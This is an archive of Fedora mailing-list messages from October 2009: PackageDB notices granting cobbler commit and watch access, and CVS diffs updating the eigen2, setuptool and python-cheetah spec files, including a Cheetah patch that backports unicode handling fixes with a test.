Date: Tue, 20 Oct 2009 17:57:05 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchcommits
Message-ID: <20091020175705.A3A8410F86E@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchcommits acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:57:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:57:06 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested commit
Message-ID: <20091020175707.00E4F10F88F@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:57:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:57:10 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchbugzilla
Message-ID: <20091020175710.4E76910F800@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchbugzilla acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:57:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:57:11 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested watchcommits
Message-ID: <20091020175712.163E710F8AB@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the watchcommits acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 17:57:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 17:57:13 +0000
Subject: [pkgdb] cobbler: dgoodwin has requested commit
Message-ID: <20091020175713.3DD3810F8AC@bastion2.fedora.phx.redhat.com>

dgoodwin has requested the commit acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From rdieter at fedoraproject.org  Tue Oct 20 17:57:29 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 17:57:29 +0000 (UTC)
Subject: rpms/eigen2/F-12 .cvsignore, 1.13, 1.14 eigen2.spec, 1.20,
	1.21 sources, 1.13, 1.14 eigen2-pkgconfig_noarch.patch, 1.1, NONE
Message-ID: <20091020175729.E233111C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/eigen2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv840

Modified Files:
	.cvsignore eigen2.spec sources 
Removed Files:
	eigen2-pkgconfig_noarch.patch 
Log Message:
revert to eigen2-2.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eigen2/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	22 Jun 2009 16:45:13 -0000	1.13
+++ .cvsignore	20 Oct 2009 17:57:29 -0000	1.14
@@ -1 +1 @@
-default.tar.bz2
+2.0.6.tar.bz2


Index: eigen2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eigen2/F-12/eigen2.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- eigen2.spec	24 Jul 2009 21:56:56 -0000	1.20
+++ eigen2.spec	20 Oct 2009 17:57:29 -0000	1.21
@@ -1,16 +1,13 @@
 
-# Fedora package review
-# http://bugzilla.redhat.com/459705
+# Fedora review http://bugzilla.redhat.com/459705
 
 %define _with_check -DEIGEN_BUILD_TESTS:BOOL=ON
-#define pre rc1
-## If using a snapshot, check version in Eigen/src/Core/util/Macros.h
-%define snap 20090622
 
 Name:    eigen2
 Summary: A lightweight C++ template library for vector and matrix math
-Version: 2.0.52
-Release: 0.3.%{snap}%{?dist} 
+Epoch:   1
+Version: 2.0.6
+Release: 1%{?dist}
 Group:   System Environment/Libraries
 License: GPLv2+ or LGPLv3+
 URL:     http://eigen.tuxfamily.org/
@@ -22,11 +19,7 @@ Source0: http://bitbucket.org/eigen/eige
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 
-## upstreamable patches
-Patch50: eigen2-pkgconfig_noarch.patch
-
 BuildRequires: cmake
-BuildRequires: pkgconfig
 #docs
 BuildRequires: doxygen graphviz
 
@@ -58,15 +51,12 @@ Summary: A lightweight C++ template libr
 Group:   Development/Libraries
 # -devel subpkg only atm, compat with other distros
 Provides: %{name} = %{version}-%{release}
-Requires: pkgconfig
 %description devel
 %{summary}
 
 
 %prep
-%setup -q -n eigen2%{!?snap:-%{version}}
-
-%patch50 -p1 -b .pkgconfig_noarch
+%setup -q -n eigen2
 
 
 %build
@@ -92,7 +82,7 @@ make install DESTDIR=%{buildroot} -C %{_
 
 %check
 %if 0%{?_with_check:1}
-( cd %{_target_platform}/test && ctest %{?snap:||:} )
+( cd %{_target_platform}/test; ctest )
 %endif
 
 
@@ -105,18 +95,17 @@ rm -rf %{buildroot}
 %doc COPYING COPYING.LESSER
 %doc html/
 %{_includedir}/eigen2/
-%{_datadir}/pkgconfig/eigen2.pc
 
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.52-0.3.20090622
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 1:2.0.6-1
+- eigen-2.0.6
 
-* Mon Jun 22 2009 Rex Dieter <rdieter at fedoraproject.org> 2.0.52-0.2.20090622
-- switch to upstream-provided snapshot
+* Mon Jun 22 2009 Rex Dieter <rdieter at fedoraproject.org> 2.0.3-1
+- eigen-2.0.3
 
-* Mon May 18 2009 Rex Dieter <rdieter at fedoraproject.org> 2.0.52-0.1.20090518svn
-- 2.0.52 20090518 snapshot
+* Tue May 19 2009 Rex Dieter <rdieter at fedoraproject.org> 2.0.1-1.1
+- disable build tests (temporarily) to bootstrap secondary archs (s309)
 
 * Mon Apr 15 2009 Rex Dieter <rdieter at fedoraproject.org> 2.0.1-1
 - eigen-2.0.1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eigen2/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	22 Jun 2009 16:45:13 -0000	1.13
+++ sources	20 Oct 2009 17:57:29 -0000	1.14
@@ -1 +1 @@
-e1bcbd6ef22df47af5a55badeb39af28  default.tar.bz2
+0673563a5e7f74ae4ee130553458b81e  2.0.6.tar.bz2


--- eigen2-pkgconfig_noarch.patch DELETED ---



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:00 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180000.C6AF210F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora devel) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:02 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180002.6B28810F895@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora devel) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:04 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180004.E4C5B10F8AB@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora devel) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:12 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180012.DBE5510F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora EPEL 4) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:14 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180014.C516110F8AC@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora EPEL 4) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:14 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180014.C445110F895@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora EPEL 4) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:19 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180019.B512810F85F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora EPEL 4) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:22 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180023.22AE510F880@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora EPEL 4) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:26 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180026.8841B10F80D@bastion2.fedora.phx.redhat.com>

jeckersb has set the approveacls acl on cobbler (Fedora EPEL 4) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:37 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180037.A6D0E10F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora EPEL 5) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:40 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180041.7BAE210F8AB@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora EPEL 5) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:43 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180047.1248D10F850@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora EPEL 5) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:49 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180049.5769810F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora EPEL 5) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:49 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180049.75A2B10F895@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora EPEL 5) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:54 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180054.554EE10F850@bastion2.fedora.phx.redhat.com>

jeckersb has set the approveacls acl on cobbler (Fedora EPEL 5) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:00:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:00:54 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180055.3711510F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora EPEL 5) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:00 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180101.218C010F800@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora 5) to Approved for shenson

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:08 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180108.3024C10F87F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora 10) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:12 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180112.3CE3A10F85F@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora 10) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:12 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180112.B5BCA10F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora 10) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:16 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180116.C9B2010F85F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora 11) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:18 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180118.A3A4B10F880@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora 11) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:19 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180119.C372210F88F@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora 11) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:24 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180125.311E910F850@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchbugzilla acl on cobbler (Fedora 12) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:27 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180127.97C5910F892@bastion2.fedora.phx.redhat.com>

jeckersb has set the commit acl on cobbler (Fedora 12) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 18:01:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 18:01:25 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020180126.0015B10F87F@bastion2.fedora.phx.redhat.com>

jeckersb has set the watchcommits acl on cobbler (Fedora 12) to Approved for dgoodwin

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From mhlavink at fedoraproject.org  Tue Oct 20 18:04:17 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue, 20 Oct 2009 18:04:17 +0000 (UTC)
Subject: rpms/setuptool/devel .cvsignore, 1.21, 1.22 setuptool.spec, 1.39,
	1.40 sources, 1.27, 1.28
Message-ID: <20091020180417.AEB3D11C0081@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/setuptool/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1814

Modified Files:
	.cvsignore setuptool.spec sources 
Log Message:
* Tue Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.9-1
- update path of firewall configuration tool (#529794)
- update translations



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setuptool/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	12 Oct 2009 10:50:26 -0000	1.21
+++ .cvsignore	20 Oct 2009 18:04:17 -0000	1.22
@@ -1 +1 @@
-setuptool-1.19.8.tar.gz
+setuptool-1.19.9.tar.gz


Index: setuptool.spec
===================================================================
RCS file: /cvs/extras/rpms/setuptool/devel/setuptool.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- setuptool.spec	12 Oct 2009 10:50:26 -0000	1.39
+++ setuptool.spec	20 Oct 2009 18:04:17 -0000	1.40
@@ -1,5 +1,5 @@
 Name: setuptool
-Version: 1.19.8
+Version: 1.19.9
 Release: 1%{?dist}
 Summary: A text mode system configuration tool
 License: GPLv2+
@@ -43,6 +43,10 @@ rm -rf $RPM_BUILD_ROOT
 %config %{_sysconfdir}/setuptool.d/*
 
 %changelog
+* Tue Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.9-1
+- update path of firewall configuration tool (#529794)
+- update translations
+
 * Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.8-1
 - add setup.1 man page
 - update translations


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setuptool/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	12 Oct 2009 10:50:26 -0000	1.27
+++ sources	20 Oct 2009 18:04:17 -0000	1.28
@@ -1 +1 @@
-4c8abd1cdaf51909c3bac76d55921739  setuptool-1.19.8.tar.gz
+36546cdcaa56fd472172ca9bec9a6ddc  setuptool-1.19.9.tar.gz



From mhlavink at fedoraproject.org  Tue Oct 20 18:04:22 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Tue, 20 Oct 2009 18:04:22 +0000 (UTC)
Subject: rpms/setuptool/F-12 .cvsignore, 1.21, 1.22 setuptool.spec, 1.39,
	1.40 sources, 1.27, 1.28
Message-ID: <20091020180422.CBCE511C0081@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/setuptool/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1848

Modified Files:
	.cvsignore setuptool.spec sources 
Log Message:
* Tue Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.9-1
- update path of firewall configuration tool (#529794)
- update translations



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setuptool/F-12/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	12 Oct 2009 11:06:53 -0000	1.21
+++ .cvsignore	20 Oct 2009 18:04:22 -0000	1.22
@@ -1 +1 @@
-setuptool-1.19.8.tar.gz
+setuptool-1.19.9.tar.gz


Index: setuptool.spec
===================================================================
RCS file: /cvs/extras/rpms/setuptool/F-12/setuptool.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- setuptool.spec	12 Oct 2009 11:06:53 -0000	1.39
+++ setuptool.spec	20 Oct 2009 18:04:22 -0000	1.40
@@ -1,5 +1,5 @@
 Name: setuptool
-Version: 1.19.8
+Version: 1.19.9
 Release: 1%{?dist}
 Summary: A text mode system configuration tool
 License: GPLv2+
@@ -43,6 +43,10 @@ rm -rf $RPM_BUILD_ROOT
 %config %{_sysconfdir}/setuptool.d/*
 
 %changelog
+* Tue Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.9-1
+- update path of firewall configuration tool (#529794)
+- update translations
+
 * Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> 1.19.8-1
 - add setup.1 man page
 - update translations


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setuptool/F-12/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	12 Oct 2009 11:06:53 -0000	1.27
+++ sources	20 Oct 2009 18:04:22 -0000	1.28
@@ -1 +1 @@
-4c8abd1cdaf51909c3bac76d55921739  setuptool-1.19.8.tar.gz
+36546cdcaa56fd472172ca9bec9a6ddc  setuptool-1.19.9.tar.gz



From mikeb at fedoraproject.org  Tue Oct 20 18:15:16 2009
From: mikeb at fedoraproject.org (Mike Bonnet)
Date: Tue, 20 Oct 2009 18:15:16 +0000 (UTC)
Subject: rpms/python-cheetah/F-11 cheetah-2.2.2-unicode-fixes.patch, NONE,
	1.1 python-cheetah.spec, 1.21, 1.22
Message-ID: <20091020181516.E6A3011C0081@cvs1.fedora.phx.redhat.com>

Author: mikeb

Update of /cvs/pkgs/rpms/python-cheetah/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4110

Modified Files:
	python-cheetah.spec 
Added Files:
	cheetah-2.2.2-unicode-fixes.patch 
Log Message:
backport significant improvements to utf-8/unicode handling from upstream

cheetah-2.2.2-unicode-fixes.patch:
 DummyTransaction.py |   29 +++++++++++++++++++----------
 Filters.py          |   35 +++++++----------------------------
 Template.py         |   25 ++++++++++++++++++++++++-
 Tests/Unicode.py    |   20 ++++++++++++++++++--
 4 files changed, 68 insertions(+), 41 deletions(-)

--- NEW FILE cheetah-2.2.2-unicode-fixes.patch ---
diff -uNr Cheetah-2.2.2.orig/cheetah/DummyTransaction.py Cheetah-2.2.2/cheetah/DummyTransaction.py
--- Cheetah-2.2.2.orig/cheetah/DummyTransaction.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/DummyTransaction.py	2009-10-19 09:41:12.568528482 -0400
@@ -25,6 +25,23 @@
     def flush(self):
         pass
         
+    def safeConvert(self, chunk):
+        # Exceptionally gross, but the safest way
+        # I've found to ensure I get a legit unicode object
+        if not chunk:
+            return u''
+        if isinstance(chunk, unicode):
+            return chunk
+        try:
+            return chunk.decode('utf-8', 'strict')
+        except UnicodeDecodeError:
+            try:
+                return chunk.decode('latin-1', 'strict')
+            except UnicodeDecodeError:
+                return chunk.decode('ascii', 'ignore')
+        except AttributeError:
+            return unicode(chunk)
+
     def write(self, value):
         self._outputChunks.append(value)
 
@@ -35,17 +52,9 @@
     def getvalue(self, outputChunks=None):
         chunks = outputChunks or self._outputChunks
         try: 
-            return ''.join(chunks)
+            return u''.join(chunks)
         except UnicodeDecodeError, ex:
-            nonunicode = [c for c in chunks if not isinstance(c, unicode)]
-            raise DummyResponseFailure('''Looks like you're trying to mix encoded strings with Unicode strings
-            (most likely utf-8 encoded ones)
-
-            This can happen if you're using the `EncodeUnicode` filter, or if you're manually
-            encoding strings as utf-8 before passing them in on the searchList (possible offenders: 
-            %s) 
-            (%s)''' % (nonunicode, ex))
-
+            return u''.join((self.safeConvert(c) for c in chunks))
 
     def writelines(self, *lines):
         ## not used
diff -uNr Cheetah-2.2.2.orig/cheetah/Filters.py Cheetah-2.2.2/cheetah/Filters.py
--- Cheetah-2.2.2.orig/cheetah/Filters.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Filters.py	2009-10-19 09:36:17.594517096 -0400
@@ -29,40 +29,19 @@
         if val is None:
             return u''
         if isinstance(val, unicode):
-            if encoding:
-                return val.encode(encoding)
-            else:
-                return val
+            # ignore the encoding and return the unicode object
+            return val
         else:
             try:
-                return str(val)
-            except UnicodeEncodeError:
                 return unicode(val)
-        return u''
+            except UnicodeDecodeError:
+                # we could put more fallbacks here, but we'll just pass the str
+                # on and let DummyTransaction worry about it
+                return str(val)
 
 RawOrEncodedUnicode = Filter
 
-class EncodeUnicode(Filter):
-    def filter(self, val,
-               encoding='utf8',
-               str=str,
-               **kw):
-        """Encode Unicode strings, by default in UTF-8.
-
-        >>> import Cheetah.Template
-        >>> t = Cheetah.Template.Template('''
-        ... $myvar
-        ... ${myvar, encoding='utf16'}
-        ... ''', searchList=[{'myvar': u'Asni\xe8res'}],
-        ... filter='EncodeUnicode')
-        >>> print t
-        """
-        if isinstance(val, unicode):
-            return val.encode(encoding)
-        if val is None:
-            return ''
-        return str(val)
-
+EncodeUnicode = Filter
 
 class Markdown(EncodeUnicode):
     '''
diff -uNr Cheetah-2.2.2.orig/cheetah/Template.py Cheetah-2.2.2/cheetah/Template.py
--- Cheetah-2.2.2.orig/cheetah/Template.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Template.py	2009-10-19 09:35:18.135768927 -0400
@@ -1001,22 +1001,45 @@
             mainMethName = getattr(concreteTemplateClass,mainMethNameAttr, None)
             if mainMethName:
                 def __str__(self): 
+                    rc = getattr(self, mainMethName)()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     return getattr(self, mainMethName)()
             elif (hasattr(concreteTemplateClass, 'respond')
                   and concreteTemplateClass.respond!=Servlet.respond):
                 def __str__(self):
+                    rc = self.respond()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     return self.respond()
             else:
                 def __str__(self):
+                    rc = None
+                    if hasattr(self, mainMethNameAttr):
+                        rc = getattr(self,mainMethNameAttr)()
+                    elif hasattr(self, 'respond'):
+                        rc = self.respond()
+                    else:
+                        rc = super(self.__class__, self).__str__()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     if hasattr(self, mainMethNameAttr):
                         return getattr(self,mainMethNameAttr)()
                     elif hasattr(self, 'respond'):
                         return self.respond()
                     else:
-                        return super(self.__class__, self).__str__()
+                        return super(self.__class__, self).__unicode__()
                     
             __str__ = new.instancemethod(__str__, None, concreteTemplateClass)
+            __unicode__ = new.instancemethod(__unicode__, None, concreteTemplateClass)
             setattr(concreteTemplateClass, '__str__', __str__)
+            setattr(concreteTemplateClass, '__unicode__', __unicode__)
                 
     _addCheetahPlumbingCodeToClass = classmethod(_addCheetahPlumbingCodeToClass)
 
diff -uNr Cheetah-2.2.2.orig/cheetah/Tests/Unicode.py Cheetah-2.2.2/cheetah/Tests/Unicode.py
--- Cheetah-2.2.2.orig/cheetah/Tests/Unicode.py	2009-09-14 19:04:01.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Tests/Unicode.py	2009-10-20 14:08:48.674155892 -0400
@@ -150,6 +150,22 @@
         a = unicode(template).encode("utf-8")
         self.assertEquals("B?b?", a)
 
+class EncodeUnicodeCompatTest(unittest.TestCase):
+    """
+        Taken initially from Red Hat's bugzilla #529332
+        https://bugzilla.redhat.com/show_bug.cgi?id=529332
+    """
+    def runTest(self):
+        t = Template("""Foo ${var}""", filter='EncodeUnicode')
+        t.var = u"Text with some non-ascii characters: ???"
+        
+        rc = t.respond()
+        assert isinstance(rc, unicode), ('Template.respond() should return unicode', rc)
+        
+        rc = str(t)
+        assert isinstance(rc, str), ('Template.__str__() should return a UTF-8 encoded string', rc)
+
+
 class Unicode_in_SearchList_Test(CommandLineTest):
     def test_BasicASCII(self):
